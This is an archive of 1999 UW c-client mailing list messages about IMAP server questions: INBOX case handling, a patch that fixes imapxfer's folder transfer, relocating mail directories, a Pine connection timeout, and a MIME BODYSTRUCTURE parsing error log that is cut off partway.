17:48:14 -0700 Message-Id: Date: Mon, 19 Apr 1999 17:45:51 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: "Rubinstein, Dmitry" Cc: "'c-client'" Subject: re: Inbox - mixed case? (UW imapd-4.5) In-Reply-To: <5C5BA40F28F1D211AAE200105A057CB0210DFB@GOOFY_EX.QUANTUM.icomverse.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 14 Apr 1999 12:43:07 +0300, Rubinstein, Dmitry wrote: > There seems to be a bug in the way either UW imapd-4.5 or exchange IMAP > 5.5.2448.8 handles the mixed case of INBOX. In UW imapd you can do the > following: > > a1 create inbox/a > a1 OK CREATE completed > a2 create InBoX/a > a2 OK CREATE completed This is a case of Garbage In, Garbage Out; specifically a client bug and subsequent undefined server behavior. You did a CREATE of a name without first checking to see whether the superior name permits inferiors via LIST. The answer from LIST "" INBOX says (\NoInferiors). A CREATE of an inferior of INBOX is therefore undefined. From pinedev@shivax2.cac.washington.edu Tue Apr 20 00:53:31 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Apr 1999 00:53:30 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id AAA23731 for ; Tue, 20 Apr 1999 00:53:27 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id AAA00477; Tue, 20 Apr 1999 00:53:25 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id AAA16729; Tue, 20 Apr 1999 00:53:08 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id AAA13364 for ; Tue, 20 Apr 1999 00:52:07 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id AAA03942 for ; Tue, 20 Apr 1999 00:52:06 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (chince@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id AAA04618; Tue, 20 Apr 1999 00:52:04 -0700 Message-Id: Date: Mon, 19 Apr 1999 23:53:26 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Ricardo Stella Cc: Terry Gray , "'c-client'" Subject: Re: transfer mail via IMAP... In-Reply-To: <3714DB5B.19C67E89@rider.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 14 Apr 1999 14:15:55 -0400, Ricardo Stella wrote: > Still, imapxfer has bugs. Could you please explain what you mean by this? > I ran it with 'imapxfer "{hostfrom}" "{hostto}"' and what happened was > ALL folders were tried to copy over. Well, yes; that's what that command does. Why do you think that it should be different? > 'imapxfer "{hostfrom}mail" "{hostto}mail" > > This tried to access $HOME/mailmail/* and store it into $HOME/mailmail/ > failing of course. This reads mail* and for each resulting name $i (including the "mail" part) stores it into mail$i which is probably not what you want. > So I tried with 'mail/' for both, but now it wanted to pull from > $HOME/mail/mail/ and store to $HOME/mail/mail/ This reads mail/* and for each resulting name $i (including the "mail/" part) stores it into mail/$i All of the above is "unless you made non-standard modifications to c-client (used by either imapxfer or imapd), such as changing its idea of the home directory." If you made any non-standard modifications, then you're on your own. > Still, the bugs seem to be there... I'm still trying to determine why you say this. As far as I can tell, you're confused about how to use the program. > Now, the next question would be, how can I connect as a SUPERUSER but > select someone elses mailbox, assuming SUPERUSER has read priviledges on > the server. Is this possible from the remote end (ie not touching the > server reading from ?) The simple answer is "no". Superuser access isn't allowed. From pinedev@shivax2.cac.washington.edu Tue Apr 20 06:35:44 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Apr 1999 06:35:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA29824 for ; Tue, 20 Apr 1999 06:35:43 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA05423; Tue, 20 Apr 1999 06:35:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id GAA23968; Tue, 20 Apr 1999 06:35:24 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA44648 for ; Tue, 20 Apr 1999 06:34:39 -0700 Received: from poseidon.rider.edu (root@poseidon.rider.edu [204.142.238.100]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA29894 for ; Tue, 20 Apr 1999 06:34:39 -0700 Received: from rider.edu (suave.rider.edu [204.142.238.105]) by poseidon.rider.edu (8.8.8+Sun/8.8.8) with ESMTP id JAA05256 for ; Tue, 20 Apr 1999 09:34:35 -0400 (EDT) Message-Id: <371C822D.853086B8@rider.edu> Date: Tue, 20 Apr 1999 09:33:33 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Ricardo Stella To: "'c-client'" Subject: Re: transfer mail via IMAP... References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, I believe I did mention that I used 'straight out of the box' compilation, that is, no customization whatsoever... If I'm confused about how to use the program, I'm sorry, though point me how to then... In any case, I would assume that imapxfer was meant to 'transfer all mail folders', but that you should be able to specify a starting point. In short words, how can I transfer just mail folders from an UW Imap server to another UW Imap server, where all mail (as the default makes it) is stored in $HOME/mail ? Using the command straight forward (ie imapxfer "{hostfrom}" "{hostto}") starts to copy '$HOME/mail/" but ends up copying '$HOME/" as well, which is not what I believe you wrote imapxfer for. Thanks in advance... From pinedev@shivax2.cac.washington.edu Tue Apr 20 11:00:01 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Apr 1999 11:00:00 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA01304 for ; Tue, 20 Apr 1999 10:59:58 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA12545; Tue, 20 Apr 1999 10:59:56 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id KAA07883; Tue, 20 Apr 1999 10:59:08 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA67880 for ; Tue, 20 Apr 1999 10:57:25 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (groves@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA28308 for ; Tue, 20 Apr 1999 10:57:25 -0700 Message-Id: Date: Tue, 20 Apr 1999 10:55:38 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Ricardo Stella Cc: "'c-client'" Subject: Re: transfer mail via IMAP... In-Reply-To: <371C822D.853086B8@rider.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 20 Apr 1999 09:33:33 -0400, Ricardo Stella wrote: > In short words, how can I transfer just mail folders from an UW Imap > server to another UW Imap server, where all mail (as the default makes > it) is stored in $HOME/mail ? Assuming that you have *NOT* modified c-client in any way (both in imapxfer and in imapd), then you probably want: imapxfer "{hostfrom}mail/" "{hostto}" From pinedev@shivax2.cac.washington.edu Tue Apr 20 12:42:07 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Apr 1999 12:42:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA31850 for ; Tue, 20 Apr 1999 12:42:06 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA23463; Tue, 20 Apr 1999 12:42:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id MAA22135; Tue, 20 Apr 1999 12:40:42 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA17592 for ; Tue, 20 Apr 1999 12:39:15 -0700 Received: from poseidon.rider.edu (root@poseidon.rider.edu [204.142.238.100]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA02799 for ; Tue, 20 Apr 1999 12:39:14 -0700 Received: from rider.edu (suave.rider.edu [204.142.238.105]) by poseidon.rider.edu (8.8.8+Sun/8.8.8) with ESMTP id PAA19199; Tue, 20 Apr 1999 15:39:09 -0400 (EDT) Message-Id: <371CD76A.380B60AB@rider.edu> Date: Tue, 20 Apr 1999 15:37:14 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Ricardo Stella To: Mark Crispin Cc: "'c-client'" Subject: Re: transfer mail via IMAP... References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Here's what I did. * Downloaded 4.5 and utils * Compiled 'make gso' for 4.5 and 'make' for imapxfer * imapxfer "{hostfrom}mail/" "{hostto}" * 'test' account exists, and mail/ directory is empty on hostto This is what I got... [Trying IP address [x.x.x.x]] [hostfrom IMAP4rev1 v12.250 server ready] {hostfrom/imap} username: test password: [Trying IP address [y.y.y.y]] [hostto IMAP4rev1 v12.250 server ready] {hostto/imap} username: test password: Listing mailboxes... Copying {hostfrom:143/imap/user=test}mail/mail/ => {hostto:143/imap/user=test}mail/ [Reusing connection to hostfrom/user=test] ?EXAMINE failed: Can't open mailbox mail/mail/: no such mailbox Mailbox {hostfrom:143/imap/user=test} has 0 message(s). ?CREATE failed: Can't create mailbox node /export/home/test/mail/: File exists an't create mailbox Copying {hostfrom:143/imap/user=test}mail/mail/testfolder => {hostto:143/imap/user=test}mail/testfolder [Reusing connection to hostfrom/user=test] ?EXAMINE failed: Can't open mailbox mail/mail/testfolder: no such mailbox Mailbox {hostfrom:143/imap/user=test} has 0 message(s). ?CREATE failed: Can't create mailbox node /export/home/test/mail/testfolder: File exists an't create mailbox [hostto IMAP4rev1 server terminating connection] [hostfrom IMAP4rev1 server terminating connection] Mark Crispin wrote: > > On Tue, 20 Apr 1999 09:33:33 -0400, Ricardo Stella wrote: > > In short words, how can I transfer just mail folders from an UW Imap > > server to another UW Imap server, where all mail (as the default makes > > it) is stored in $HOME/mail ? > > Assuming that you have *NOT* modified c-client in any way (both in imapxfer > and in imapd), then you probably want: > imapxfer "{hostfrom}mail/" "{hostto}" From pinedev@shivax2.cac.washington.edu Tue Apr 20 17:20:09 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Apr 1999 17:20:08 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA05164 for ; Tue, 20 Apr 1999 17:20:07 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA24199; Tue, 20 Apr 1999 17:20:06 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id RAA14475; Tue, 20 Apr 1999 17:19:28 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA22664 for ; Tue, 20 Apr 1999 17:18:15 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tarigan@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA30283 for ; Tue, 20 Apr 1999 17:18:15 -0700 Message-Id: Date: Tue, 20 Apr 1999 17:18:00 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Ricardo Stella Cc: "'c-client'" Subject: Re: transfer mail via IMAP... In-Reply-To: <371CD76A.380B60AB@rider.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Try applying the following patch to your copy of imapxfer.c: *** imapxfer.c.old Wed Dec 23 12:53:27 1998 --- imapxfer.c Tue Apr 20 16:31:46 1999 *************** *** 10,18 **** * Internet: MRC@CAC.Washington.EDU * * Date: 2 February 1994 ! * Last Edited: 23 December 1998 * ! * Copyright 1998 by the University of Washington * * Permission to use, copy, modify, and distribute this software and its * documentation for any purpose and without fee is hereby granted, provided --- 10,18 ---- * Internet: MRC@CAC.Washington.EDU * * Date: 2 February 1994 ! * Last Edited: 20 April 1999 * ! * Copyright 1999 by the University of Washington * * Permission to use, copy, modify, and distribute this software and its * documentation for any purpose and without fee is hereby granted, provided *************** *** 181,187 **** /* read back mailbox names */ while (fgets (tmp,MAILTMPLEN-1,f)) { if (t = strchr (tmp,'\n')) *t = '\0'; ! strcat (strcpy (strchr (strcpy (src,s->mailbox),'}') + 1,sp),tmp); strcat (strcpy (strchr (strcpy (dst,d->mailbox),'}') + 1,dp),tmp); printf ("Copying %s\n => %s\n",src,dst); fflush (stdout); --- 181,187 ---- /* read back mailbox names */ while (fgets (tmp,MAILTMPLEN-1,f)) { if (t = strchr (tmp,'\n')) *t = '\0'; ! strcpy (strchr (strcpy (src,s->mailbox),'}') + 1,tmp); strcat (strcpy (strchr (strcpy (dst,d->mailbox),'}') + 1,dp),tmp); printf ("Copying %s\n => %s\n",src,dst); fflush (stdout); *************** *** 292,299 **** char c,*s,tmp[MAILTMPLEN]; /* note destination delimiter */ if (ddelim < 0) ddelim = delimiter; ! /* if got a name */ ! else if (*name && (name = strchr (name,'}')) && *++name) { /* see if have to edit delimiters */ if ((ddelim > 0) && (delimiter != ddelim) && (strchr (name,ddelim) || strchr (name,delimiter))) { --- 292,300 ---- char c,*s,tmp[MAILTMPLEN]; /* note destination delimiter */ if (ddelim < 0) ddelim = delimiter; ! /* if got a selectable name */ ! else if (!(attributes & LATT_NOSELECT) && ! *name && (name = strchr (name,'}')) && *++name) { /* see if have to edit delimiters */ if ((ddelim > 0) && (delimiter != ddelim) && (strchr (name,ddelim) || strchr (name,delimiter))) { From pinedev@shivax2.cac.washington.edu Wed Apr 21 11:01:44 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Apr 1999 11:01:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA21131 for ; Wed, 21 Apr 1999 11:01:43 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA11506; Wed, 21 Apr 1999 11:01:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id LAA08617; Wed, 21 Apr 1999 11:00:06 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA23508 for ; Wed, 21 Apr 1999 10:50:55 -0700 Received: from poseidon.rider.edu (root@poseidon.rider.edu [204.142.238.100]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA22102 for ; Wed, 21 Apr 1999 10:50:53 -0700 Received: from rider.edu (suave.rider.edu [204.142.238.105]) by poseidon.rider.edu (8.8.8+Sun/8.8.8) with ESMTP id NAA06231 for ; Wed, 21 Apr 1999 13:50:50 -0400 (EDT) Message-Id: <371E0F11.1458595C@rider.edu> Date: Wed, 21 Apr 1999 13:46:57 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Ricardo Stella To: "'c-client'" Subject: Re: transfer mail via IMAP... References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN That did the trick... Thanks for the fix... Mark Crispin wrote: > > Try applying the following patch to your copy of imapxfer.c: > From pinedev@shivax2.cac.washington.edu Thu Apr 22 08:44:19 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Apr 1999 08:44:19 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA10735 for ; Thu, 22 Apr 1999 08:44:18 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA08566; Thu, 22 Apr 1999 08:44:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id IAA05054; Thu, 22 Apr 1999 08:41:46 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA34176 for ; Thu, 22 Apr 1999 08:38:33 -0700 Received: from munchkin.esatclear.ie (munchkin.esatclear.ie [194.145.128.10]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA01198 for ; Thu, 22 Apr 1999 08:38:32 -0700 Received: from esatclear.ie (fergal.esatclear.ie [194.145.129.150]) by munchkin.esatclear.ie (8.8.7/8.8.7) with ESMTP id QAA13265 for ; Thu, 22 Apr 1999 16:38:31 +0100 Message-Id: <371F4277.FA0F79D0@esatclear.ie> Date: Thu, 22 Apr 1999 15:38:31 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Fergal Daly To: c-client@u.washington.edu Subject: home directories (again) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: fergal@esatclear.ie X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I downloaded the latest version of imapd and tried to follow the instructions in CONFIG to store the mail somewhere other than the homedir. The instructions seem to apply to an earlier version (the same goes for the patch at http://www.carumba.com/imap/imapd_homedir_change). I tried adapting the patch to fit the source code I had but it didn't work, the server just kept using my homedir as the imap directory. Can anyone supply an updated patch, preferrably one that puts the mail somewhere like ~username/mail. Thanks, Fergal. P.S. It's Redhat 5.2 on x86. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Apr 28 01:30:38 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Apr 1999 01:30:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA28550 for ; Wed, 28 Apr 1999 01:30:24 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA23147; Wed, 28 Apr 1999 01:30:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id BAA10347; Wed, 28 Apr 1999 01:30:03 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA10812 for ; Wed, 28 Apr 1999 01:28:12 -0700 Received: from sobhan.bol.sharif.ac.ir ([194.225.42.50]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA01925 for ; Wed, 28 Apr 1999 01:27:55 -0700 Received: from localhost (majid@localhost) by sobhan.bol.sharif.ac.ir (8.8.6/8.8.6) with ESMTP id MAA00228 for ; Wed, 28 Apr 1999 12:59:27 +0430 Message-Id: Date: Wed, 28 Apr 1999 12:59:26 +0430 (IDT) Reply-To: majid@bol.sharif.ac.ir Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Majid Tajamolian To: c-client@u.washington.edu Subject: Please Help: IMAP connection timeout (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: sobhan.bol.sharif.ac.ir: majid owned process doing -bs X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is this mailing list beneficial?! I am not sure! This is the 4th time that I send this mail to the list, but no answers as yet. Do someone receive my mails? Please reply even with no solution! -- I'm await, M. Tajamolian ---------- Forwarded message ---------- Date: Thu, 15 Apr 1999 12:52:05 +0430 (IDT) From: Majid Tajamolian To: c-client@u.washington.edu Subject: IMAP connection timeout (fwd) I forward this mail to you, in expectance that you can help me. -- THX, M. Tajamolian ---------- Forwarded message ---------- Date: Tue, 6 Apr 1999 16:25:24 +0430 (IDT) From: Majid Tajamolian To: Pine Discussion Forum Subject: IMAP connection timeout Dear LIST: I have a problem while trying to define a new folder in Incoming-Folders collection using IMAP. I receive the following error message from PINE ver 4.10 after about 25 seconds: [[CLOSED] IMAP connection broken (server response)] The server is located out of our LAN and it seems a timeout occurs due to our slowish connection line to the internet. Any suggestions to overcome this problem? -- THX in advance, M. Tajamolian -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Wed Apr 28 09:17:18 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 28 Apr 1999 09:17:17 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA07582 for ; Wed, 28 Apr 1999 09:17:16 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA28128; Wed, 28 Apr 1999 09:17:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id JAA23764; Wed, 28 Apr 1999 09:16:19 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA21244 for ; Wed, 28 Apr 1999 09:15:03 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (guest@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA17904 for ; Wed, 28 Apr 1999 09:15:02 -0700 Message-Id: Date: Wed, 28 Apr 1999 09:06:56 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: majid@bol.sharif.ac.ir Cc: c-client@u.washington.edu Subject: re: Please Help: IMAP connection timeout (fwd) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN "IMAP connection broken (server response)" indicates that the client (in this case, Pine) was attempting to read a response (or initial greeting) from the server and instead the TCP session got closed. >From the symptoms you described, it looks like something is answering a connection to port 143 (the IMAP port) but an IMAP protocol session never starts. One possibility is that there are "TCP wrappers" on the server, and the client is not on the server's list of authorized systems. In other words, "IMAP connection broken (server response)" is the equivalent of "TCP connection refused". Another possibility is that the server is set up for IMAP connections, but the IMAP server program has not been installed on the server. On Wed, 28 Apr 1999 12:59:26 +0430 (IDT), Majid Tajamolian wrote: > I have a problem while trying to define a new folder in Incoming-Folders > collection using IMAP. I receive the following error message from PINE > ver 4.10 after about 25 seconds: > > [[CLOSED] IMAP connection broken (server response)] > > The server is located out of our LAN and it seems a timeout occurs due to > our slowish connection line to the internet. > Any suggestions to overcome this problem? From pinedev@shivax2.cac.washington.edu Mon May 3 04:42:45 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 3 May 1999 04:42:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA07128 for ; Mon, 3 May 1999 04:42:44 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA26845; Mon, 3 May 1999 04:42:42 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id EAA05352; Mon, 3 May 1999 04:42:24 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA86640 for ; Mon, 3 May 1999 04:40:32 -0700 Received: from nera19.nera.no (gatekeeper.nera.no [194.19.8.2]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id EAA31524 for ; Mon, 3 May 1999 04:40:30 -0700 Received: from pcarkn [137.133.127.42] by nera19.nera.no (SMTPD32-4.06) id AB2C31025E; Mon, 03 May 1999 13:40:28 +0200 Message-Id: Date: Mon, 3 May 1999 13:40:31 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Arne Knutsen" To: "C-client mailing list" Subject: Errors while decoding MIME-message MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_003C_01BE956A.831F9670" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_003C_01BE956A.831F9670 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit The following is from a MTEST-session trying to read a message with an attachment: MTest>b 8 00000004 FETCH 8 (BODYSTRUCTURE FLAGS) * 8 FETCH (BODYSTRUCTURE (("text" "plain" ("charset" "iso-8859-1") NIL NIL "7bit " 170 11 NIL NIL NIL) ("application" "octet-stream" ("name" "PERMBACK.DRW") NIL NIL "base64" 480 NIL ("attachment" ("filename" "PERMBACK.DRW")) NIL) "mixed" ("b oundary" "----=_NextPart_000_0035_01BE9559.DD9351C0") NIL NIL) FLAGS (\SEEN)) %Not a string: ("application" "octet-stream" ("name" "PERMBACK.DRW") NIL NIL "ba se64" 480 NIL (" %Missing multipart subtype %Junk at end of multipart body: "application" "octet-stream" ("name" "PERMBACK.D RW") NIL NIL "base64" 480 NIL (" %Unknown message property: "APPLICATION" %Unknown message property: "OCTET-STREAM" %Unknown message property: ("NAME" %Unknown message property: "PERMBACK.DRW" %Unknown message property: NIL %Unknown message property: NIL %Unknown message property: "BASE64" %Unknown message property: 480 %Unknown message property: 